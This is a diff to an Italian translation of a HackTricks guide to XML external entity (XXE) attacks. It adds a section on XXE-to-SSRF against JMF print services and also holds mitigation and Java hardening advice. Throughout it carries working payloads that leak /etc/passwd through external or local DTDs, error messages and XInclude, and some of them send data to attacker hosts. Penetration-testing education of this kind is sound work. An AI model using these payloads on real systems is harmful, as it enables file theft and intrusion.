**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:
|
||||
|
||||
@ -107,8 +107,8 @@ La struttura è la seguente:
|
||||
I passaggi eseguiti da questo DTD includono:
|
||||
|
||||
1. **Definizione delle Entità Parametriche:**
|
||||
- Un'entità paramétrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
|
||||
- Un'altra entità paramétrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità paramétrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
|
||||
- Un'entità parametrica XML, `%file`, viene creata, leggendo il contenuto del file `/etc/hostname`.
|
||||
- Un'altra entità parametrica XML, `%eval`, è definita. Essa dichiara dinamicamente una nuova entità parametrica XML, `%exfiltrate`. L'entità `%exfiltrate` è impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità `%file` all'interno della stringa di query dell'URL.
|
||||
2. **Esecuzione delle Entità:**
|
||||
- L'entità `%eval` viene utilizzata, portando all'esecuzione della dichiarazione dinamica dell'entità `%exfiltrate`.
|
||||
- L'entità `%exfiltrate` viene quindi utilizzata, attivando una richiesta HTTP all'URL specificato con i contenuti del file.
|
||||
@ -127,7 +127,7 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte
|
||||
|
||||
**In questo caso faremo in modo che il server carichi un DTD malevolo che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se puoi vedere i messaggi di errore).** [**Esempio da qui.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:
|
||||
Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Document Type Definition (DTD) esterno malevolo. Questo viene realizzato attraverso i seguenti passaggi:
|
||||
|
||||
1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
@ -148,9 +148,9 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
|
||||
|
||||
### **Error Based (system DTD)**
|
||||
|
||||
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
E quindi, cosa succede alle vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
|
||||
Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
|
||||
```xml
|
||||
@ -169,7 +169,7 @@ I passaggi delineati sono eseguiti da questo DTD:
|
||||
|
||||
- La definizione di un'entità parametro XML chiamata `local_dtd` include il file DTD esterno situato nel filesystem del server.
|
||||
- Si verifica una ridefinizione per l'entità parametro XML `custom_entity`, originariamente definita nel DTD esterno, per racchiudere un [exploit XXE basato su errore](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file `/etc/passwd`.
|
||||
- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore previsto dall'exploit.
|
||||
- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore mirato dall'exploit.
|
||||
|
||||
**Esempio del mondo reale:** I sistemi che utilizzano l'ambiente desktop GNOME hanno spesso un DTD in `/usr/share/yelp/dtd/docbookx.dtd` contenente un'entità chiamata `ISOamso`.
|
||||
```xml
|
||||
@ -188,7 +188,7 @@ I passaggi delineati sono eseguiti da questo DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste:
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se ce n'è uno che esiste:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,7 +221,7 @@ Testing 0 entities : []
|
||||
|
||||
Per una spiegazione più approfondita di questo attacco, **controlla la seconda sezione di** [**questo post incredibile**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **di Detectify**.
|
||||
|
||||
La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che poi procedono ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.
|
||||
La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che procedono poi ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.
|
||||
|
||||
Per testare questa vulnerabilità, è necessario creare un **file Microsoft Office contenente un payload XXE**. Il primo passo è creare una directory vuota in cui il documento può essere estratto.
|
||||
|
||||
@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Per poter accedere ai file all'interno dei file PKZIP è **super utile per abusare di XXE tramite file DTD di sistema.** Controlla [questa sezione per imparare come abusare dei file DTD di sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Per poter accedere ai file all'interno dei file PKZIP è **super utile abusare di XXE tramite file DTD di sistema.** Controlla [questa sezione per imparare come abusare dei file DTD di sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Il processo per accedere a un file all'interno di un archivio PKZIP tramite il protocollo jar comporta diversi passaggi:
|
||||
|
||||
@ -312,7 +312,7 @@ Poi puoi provare a decifrare l'hash usando hashcat
|
||||
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
|
||||
Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
|
||||
Per eseguire un attacco `XInclude`, è necessario dichiarare lo spazio dei nomi `XInclude` e specificare il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un tale attacco:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Da JSON a XEE
|
||||
|
||||
Per modificare la richiesta, puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
|
||||
Per modificare la richiesta puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -422,14 +422,14 @@ Puoi usare la \[**"Encode Recipe**" di cyberchef qui ]\(\[[https://gchq.github.i
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi usare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi utilizzare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
|
||||
Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### HTML Entities
|
||||
|
||||
Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puoi creare un **entity all'interno di un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
|
||||
Puoi creare un **entità all'interno di un'entità** codificandola con **html entities** e poi chiamarla per **caricare un dtd**.\
|
||||
Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Ridefinisce l'entità non definita in modo che:
|
||||
- Legga il file di destinazione (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Costruisca un'altra entità parametro che si riferisce a un **percorso non valido** contenente il valore `%flag;` e attivi un errore del parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Infine, espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
|
||||
3. Infine espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -711,7 +711,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> [!TIP]
|
||||
> Se il parser si lamenta dei caratteri `%`/`&` all'interno del sottoinsieme interno, codificali due volte (`&#x25;` ⇒ `%`) per ritardare l'espansione.
|
||||
|
||||
#### 2. Bypassare l'indurimento di lxml 5.4.0 (libxml2 ancora vulnerabile)
|
||||
#### 2. Bypassare il rafforzamento di lxml 5.4.0 (libxml2 ancora vulnerabile)
|
||||
`lxml` ≥ 5.4.0 vieta le entità parametro *error* come quella sopra, ma **libxml2** consente ancora di incorporarle in un'entità *generale*. Il trucco è:
|
||||
1. Leggere il file in un'entità parametro `%file`.
|
||||
2. Dichiarare un'altra entità parametro che costruisce un'entità **generale** `c` il cui identificatore SYSTEM utilizza un *protocollo inesistente* come `meow://%file;`.
|
||||
@ -732,9 +732,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
* La tecnica funziona **senza connettività in uscita**, rendendola ideale per ambienti con filtri di uscita rigorosi.
|
||||
|
||||
#### Mitigation guidance
|
||||
* Aggiorna a **lxml ≥ 5.4.0** e assicurati che il **libxml2** sottostante sia **≥ 2.13.8**.
|
||||
* Aggiorna a **lxml ≥ 5.4.0** e assicurati che la **libxml2** sottostante sia **≥ 2.13.8**.
|
||||
* Disabilita `load_dtd` e/o `resolve_entities` a meno che non sia assolutamente necessario.
|
||||
* Evita di restituire errori di parser raw al client.
|
||||
* Evita di restituire errori di parser grezzi al client.
|
||||
|
||||
### Esempio di indurimento di Java DocumentBuilderFactory
|
||||
|
||||
@ -763,9 +763,35 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Se l'applicazione deve supportare i DTD internamente, mantieni `disallow-doctype-decl` disabilitato ma **lascia sempre** le due funzionalità `external-*-entities` impostate su `false`. La combinazione previene payload di file-disclosure classici (`file:///etc/passwd`) così come vettori SSRF basati su rete (`http://169.254.169.254/…`, protocollo `jar:`, ecc.).
|
||||
Se l'applicazione deve supportare DTD internamente, mantieni `disallow-doctype-decl` disabilitato ma **lascia sempre** le due funzionalità `external-*-entities` impostate su `false`. La combinazione previene payload di divulgazione di file classici (`file:///etc/passwd`) così come vettori SSRF basati su rete (`http://169.254.169.254/…`, protocollo `jar:`, ecc.).
|
||||
|
||||
Caso studio reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utilizzava il costruttore vulnerabile mostrato sopra. Un attaccante non autenticato poteva fornire un corpo XML creato ad arte all'endpoint `CreateBucketConfiguration` e far sì che il server incorporasse file locali (ad esempio `/etc/passwd`) nella risposta HTTP.
|
||||
Studio di caso reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utilizzava il costruttore vulnerabile mostrato sopra. Un attaccante non autenticato poteva fornire un corpo XML creato ad arte all'endpoint `CreateBucketConfiguration` e far sì che il server incorporasse file locali (ad esempio `/etc/passwd`) nella risposta HTTP.
|
||||
|
||||
### XXE in JMF/Print Orchestration Services → SSRF
|
||||
|
||||
Alcune piattaforme di workflow/orchestrazione di stampa espongono un listener Job Messaging Format (JMF) esposto alla rete che accetta XML su TCP. Se il parser sottostante accetta un `DOCTYPE` e risolve entità esterne, puoi sfruttare un XXE classico per costringere il server a effettuare richieste in uscita (SSRF) o accedere a risorse locali.
|
||||
|
||||
Punti chiave osservati nel mondo reale:
|
||||
- Listener di rete (ad es., client JMF) su una porta dedicata (comunemente 4004 in Xerox FreeFlow Core).
|
||||
- Parsing XML basato su Java all'interno di un jar (ad es., `jmfclient.jar`) senza `disallow-doctype-decl` o risoluzione delle entità disabilitata.
|
||||
- Callback out-of-band confermano affidabilmente lo sfruttamento.
|
||||
|
||||
Probe SSRF in stile JMF minima (la struttura varia a seconda del prodotto, ma il DOCTYPE è ciò che conta):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE JMF [
|
||||
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
|
||||
]>
|
||||
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
|
||||
<Query Type="KnownMessages">&probe;</Query>
|
||||
</JMF>
|
||||
```
|
||||
Note:
|
||||
- Sostituisci l'URL dell'entità con il tuo collaboratore. Se SSRF è possibile, il server lo risolverà durante l'analisi del messaggio.
|
||||
- Indurimenti da cercare: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
|
||||
- Anche quando la porta JMF non serve file, SSRF può essere concatenato per ricognizioni interne o per raggiungere API di gestione legate a localhost.
|
||||
|
||||
Riferimenti per questo vettore sono elencati alla fine della pagina.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -773,7 +799,7 @@ Caso studio reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utilizzav
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Estrai informazioni tramite HTTP utilizzando il proprio DTD esterno: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Estrai informazioni tramite HTTP utilizzando il tuo DTD esterno: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
@ -782,5 +808,8 @@ Caso studio reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utilizzav
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user